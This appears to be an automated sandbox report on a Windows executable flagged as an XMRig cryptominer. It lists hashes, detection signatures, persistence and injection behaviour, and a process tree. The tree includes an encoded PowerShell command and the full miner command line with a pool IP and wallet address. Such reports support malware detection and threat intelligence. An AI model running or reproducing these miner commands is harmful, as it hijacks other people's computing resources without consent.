Resubmissions

13-02-2023 08:38

230213-kj1hyaca52 10

03-02-2023 20:49

230203-zmcnlsee6w 10

Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-02-2023 08:38

General

  • Target

    14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe

  • Size

    172KB

  • MD5

    a9fe419d1a7c914e4bcb26ba2d564338

  • SHA1

    287d701de4ece28a6b0245c89b2ea488c6fee16b

  • SHA256

    14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb

  • SHA512

    5ea544d93d2d19614e006f4b1762cb3e5d886e130c1fe77973cf83f2bac02dd9ea58eea0ac428e08bec65e03f1f37b41da3608f8a817d0a42dab49ee4b9f9cb9

  • SSDEEP

    1536:v+ac9URWzKr7PhuuUpV7+5JTiy95UuUCQahsf5mZIWiwwr7QXsouW2ASDDA6rRcS:v+apWaxa7Dy956S2j4xnsvXtPdSaeW

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe
    "C:\Users\Admin\AppData\Local\Temp\14d6746a7475a0f8cd26d1d30403688e8d36cdc3f093e159f5882dc614a0cccb.exe"
    1⤵
    • Checks computer location settings
    • Adds Run key to start application
    • Suspicious use of SetThreadContext
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2816
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
      2⤵
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o 185.17.0.19:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ.Worker_CPU -p x --algo rx/0 --cpu-max-threads-hint=50
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2316

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2044-144-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB

  • memory/2044-143-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB

  • memory/2044-141-0x0000000000400000-mapping.dmp

  • memory/2044-140-0x0000000000400000-0x000000000048C000-memory.dmp

    Filesize

    560KB

  • memory/2316-153-0x0000023820490000-0x00000238204B0000-memory.dmp

    Filesize

    128KB

  • memory/2316-145-0x0000000140000000-0x00000001407CD000-memory.dmp

    Filesize

    7.8MB

  • memory/2316-151-0x0000023820450000-0x0000023820490000-memory.dmp

    Filesize

    256KB

  • memory/2316-147-0x0000000140000000-0x00000001407CD000-memory.dmp

    Filesize

    7.8MB

  • memory/2316-149-0x000002381EA50000-0x000002381EA70000-memory.dmp

    Filesize

    128KB

  • memory/2316-154-0x0000023820490000-0x00000238204B0000-memory.dmp

    Filesize

    128KB

  • memory/2316-148-0x0000000140000000-0x00000001407CD000-memory.dmp

    Filesize

    7.8MB

  • memory/2316-152-0x0000000140000000-0x00000001407CD000-memory.dmp

    Filesize

    7.8MB

  • memory/2316-150-0x0000000140000000-0x00000001407CD000-memory.dmp

    Filesize

    7.8MB

  • memory/2316-146-0x0000000140345B64-mapping.dmp

  • memory/2816-136-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB

  • memory/2816-135-0x0000000000000000-mapping.dmp

  • memory/2816-139-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB

  • memory/2816-138-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB

  • memory/4656-137-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB

  • memory/4656-142-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB

  • memory/4656-132-0x00000144D0740000-0x00000144D076E000-memory.dmp

    Filesize

    184KB

  • memory/4656-134-0x00000144D2430000-0x00000144D2452000-memory.dmp

    Filesize

    136KB

  • memory/4656-133-0x00007FFE1C5A0000-0x00007FFE1D061000-memory.dmp

    Filesize

    10.8MB